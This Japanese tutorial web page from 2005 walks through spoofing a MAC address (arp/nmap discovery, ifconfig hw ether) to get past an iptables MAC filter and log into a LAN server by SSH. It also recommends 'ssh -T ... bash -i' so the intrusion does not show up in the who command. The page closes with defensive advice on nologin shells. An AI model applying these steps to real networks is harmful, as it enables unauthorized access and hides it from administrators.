| MACアドレス |
ここでは、MACアドレスを偽装することにより、MACアドレスで接続の制限をしているホストに
接続する手法を紹介します。
MACアドレスとは、NICに割り振られる固有のID番号であり、重複する事は無く、
そのNICに割り振られたMACアドレスは世界で1つの番号になります。
MACアドレスは、ifconfigコマンドなどを打てば、確認することが可能です。
例えば、eth0のMACアドレスを調べたい場合は、以下のようにします。
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:01:80:00:00:00
inet addr:192.168.1.50 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3456 errors:0 dropped:0 overruns:0 frame:0
TX packets:3992 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:379308 (370.4 KiB) TX bytes:422336 (412.4 KiB)
Interrupt:10
|
HWaddrという部分に00:01:80:00:00:00というような、48ビットのアドレスがあります。
これがこのeth0のNICのMACアドレスになります（MACアドレスは実際のものでは無く、変更してあります）。
MACアドレスはユニークなものです。なのでMACアドレスで制限をかけるのは非常に良い
アクセス制限の方法に思えます。しかし、そんなMACアドレスで接続の制限をしているホストに
接続してしまう方法を以下で紹介します。
| MACアドレスを偽装する |
先ず、MACアドレスによる制限をかけているサーバのファイアウォールスクリプトを以下に示します。
| #!/bin/sh IPTABLES='/sbin/iptables' /etc/init.d/iptables stop $IPTABLES -P INPUT DROP $IPTABLES -P FORWARD DROP $IPTABLES -P OUTPUT DROP $IPTABLES -A INPUT -i lo -j ACCEPT $IPTABLES -A OUTPUT -o lo -j ACCEPT # # INPUTチェイン # $IPTABLES -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT $IPTABLES -A INPUT -p tcp --dport 22 -m state --state NEW -m mac --mac-source 00:11:22:33:44:55 \ -j ACCEPT $IPTABLES -A INPUT -p tcp --dport 113 -j REJECT --reject-with tcp-reset # # OUTPUTチェイン # $IPTABLES -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT $IPTABLES -A OUTPUT -m state --state NEW -j ACCEPT |
INPUTチェインの22番（SSH）の記述のところに、-m mac --mac-source 00:11:22:33:44:55とあります。
これにより、MACアドレスが00:11:22:33:44:55のマシンのみが、このサーバのSSHに接続できるのです。
それでは、MACアドレス偽装による接続方法を紹介します。
先ずは、このお話の背景を紹介し、その後で攻略を開始します。気軽に読める感じに仕上げてみました。
−背景−
LAN上にはサーバが1台有り、このサーバは管理者がSSHで接続することによって管理している。
この管理者は、自分のマシン以外がサーバのSSHに接続できないようにする為に、上のファイアウォール
スクリプトを使いMACアドレスによる制限を施している。
ここで同じLAN上に、悪戯好きなユーザが居る。名前はchibiとでもしておきます。
chibiは、このSSHがMACアドレスで制限されていることだけは知っています。
このchibiがサーバのSSHに、自分のマシン（Linux）から接続するまでの流れをお話します。
−攻略開始−
chibiは先ず次のように考えます。
「管理者は、MACアドレスで制限をすることによって、自分以外は絶対にサーバのSSHに
接続することはできないと思い込んでいる。きっと、ユーザの作成は全てログイン可能な
シェルを指定しているに違い無い。ちょいとMACアドレスを偽装して接続して、
chibiで堂々とログインしてやるかな・・・」
管理者の使用しているマシンに割り振られているIPアドレスは知っている。確か、192.168.1.15だ。
192.168.1.15宛てにpingを発射し、MACアドレスを確認する作業に入る。
| [root@chibi ~]# ping -c 4 192.168.1.15 PING 192.168.1.11 (192.168.1.15) 56(84) bytes of data. 64 bytes from 192.168.1.15: icmp_seq=0 ttl=64 time=0.874 ms 64 bytes from 192.168.1.15: icmp_seq=1 ttl=64 time=0.170 ms 64 bytes from 192.168.1.15: icmp_seq=2 ttl=64 time=0.171 ms 64 bytes from 192.168.1.15: icmp_seq=3 ttl=64 time=0.170 ms --- 192.168.1.15 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3000ms rtt min/avg/max/mdev = 0.170/0.346/0.874/0.304 ms, pipe 2 [root@chibi ~]# arp -a admin (192.168.1.15) at 00:11:22:33:44:55 [ether] on eth0 |
これで、管理者のPCのMACアドレスが確認できた。00:11:22:33:44:55だ。
きっとこのMACアドレスからのみで制限をかけているに違い無い。
そうそう、ここでは管理者の使用しているPCに割り振られているIPアドレスが分かっている状態だけど、
分からなくてもMACアドレスを割り出す事は可能だ。pingスイープを実行して、LAN上の
ホスト全てを確認してしまえばいい。
| [root@chibi ~]# nmap -sP -PI 192.168.1.0/24 Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-06-17 18:45 JST Host 192.168.1.0 appears to be up. MAC Address: AA:BB:CC:DD:EE:FF (Cisco.) Host 192.168.1.1 appears to be up. MAC Address: AA:BB:CC:DD:EE:FF (Cisco.) Host server (192.168.1.11) appears to be up. MAC Address: 01:22:44:AA:11:44 (AOpen) Host admin (192.168.1.15) appears to be up. MAC Address: 00:11:22:33:44:55 (NEC) Host otaku (192.168.1.17) appears to be up. MAC Address: 11:44:22:55:AA:BD (DELL) Host chibi (192.168.1.50) appears to be up. ・・・省略・・・ Nmap run completed -- 256 IP addresses (6 hosts up) scanned in 4.297 seconds |
この中から、管理者のMACアドレスを確認するのはかなり骨が折れるが、
でもきっと、adminとかゆーホスト名の192.168.1.15が管理者のPCに違い無い。
ついでに192.168.1.11がサーバだろう。
次にMACアドレスの偽装に入る。今現在のchibiのMACアドレスは以下のようになっている。
[root@chibi ~]# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:01:80:00:00:00
inet addr:192.168.1.50 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3456 errors:0 dropped:0 overruns:0 frame:0
TX packets:3992 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:379308 (370.4 KiB) TX bytes:422336 (412.4 KiB)
Interrupt:10
|
MACアドレスは、00:01:80:00:00:00だ。これを00:11:22:33:44:55に変更できれば、
SSHに接続できるはずだ。
よくMACアドレスはユニークなものって思われている。確かにユニークではあるけど、
これは簡単に偽装することができる。以下の方法で偽装してみる。
| [root@chibi ~]# ifdown eth0 [root@chibi ~]# ifconfig eth0 hw ether 00:11:22:33:44:55 [root@chibi ~]# ifup eth0 |
この後で、もう1度MACアドレスの確認をしてみる。以下のように変更されているはずだ。
[root@chibi ~]# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:11:22:33:44:55
inet addr:192.168.1.50 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:122 errors:0 dropped:0 overruns:0 frame:0
TX packets:148 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:13396 (13.0 KiB) TX bytes:14802 (14.4 KiB)
Interrupt:10
|
以上で、MACアドレスの偽装は完了だ。これでSSHサーバへの接続が可能になる。
| [root@chibi ~]# ssh -T chibi@192.168.1.11 bash -i chibi@server's password: [chibi@server ~]$ |
ここでのssh接続には、-Tを使った。これはwhoコマンドを使用しても接続していることが
バレないようにする為のオプションだ。
以上が、MACアドレス偽装によって、MACアドレス制限を突破する方法です。
| まとめ |
今回のポイントは何と言っても、MACアドレスの認識です。ネットワーク関連の本を見ると、
「MACアドレスは固有なアドレスで、そのアドレスは世界で1つだけのもの」というような感じで
書かれています。確かに正解です。ただ、余計な勘違いが無いように簡単に偽装することができる
ことを付け加えておく必要があると思います。
今回のケースでは、管理者はMACアドレスがユニークなものという事を強く意識していたせいで
失敗したと思われます。確かに接続できるホストの制限をするのに、MACアドレスを指定するのは
良い方法だと思います。しかし、それだけで安心してはいけません。今回のケースでは、
自分以外がSSHに接続することが無いということから、他のユーザはログインさせる機会も少ない
（もしくは全く無い）と考えられます。このような場合には、他のユーザにはダミーのシェルを使用する
ことによって、ログインできないようにすることをお勧めします。
例えば、ログインさせたくないユーザには、/bin/falseや/sbin/nologinなどのシェルを指定します。
これによりログイン不可なユーザの出来上がりです。また、一時的にログインさせなくすることも
可能です。ユーザの管理については、当サイトでは以下で紹介してますので、参考にしてみてください。
→ ユーザの管理
また、もう1つ問題点はありました。
それは、chibiユーザが何故かMACアドレスで制限されていることを知っているということです。
どのようなセキュリティでサーバが守られているかは、関係無い人には知らせてはいけない情報だと言えます。
このちょっとした事から今回の事故が発生しています。このMACアドレスでアクセス制限しているという
情報は、一般ユーザにしてみれば、「ちゃんとアクセス制限してて管理者は偉いな・・・」などという
感じになるかもしれませんが、攻撃者にとってみれば、非常に有益な情報となりえます。
これによって、どのような攻撃を試みるか決まるからです。
あと覚えておいて役に立つのは、最後のSSHへの接続の仕方です。
このように接続することで、whoコマンドを打っても、ログインしていることが表示されません。
管理者が気晴らしにwhoコマンドを実行して、意味不明なユーザがログインしていたなんて
ことが早期発見されないようにする為、このように接続することが大事です。
最終更新 ： 06/19/2005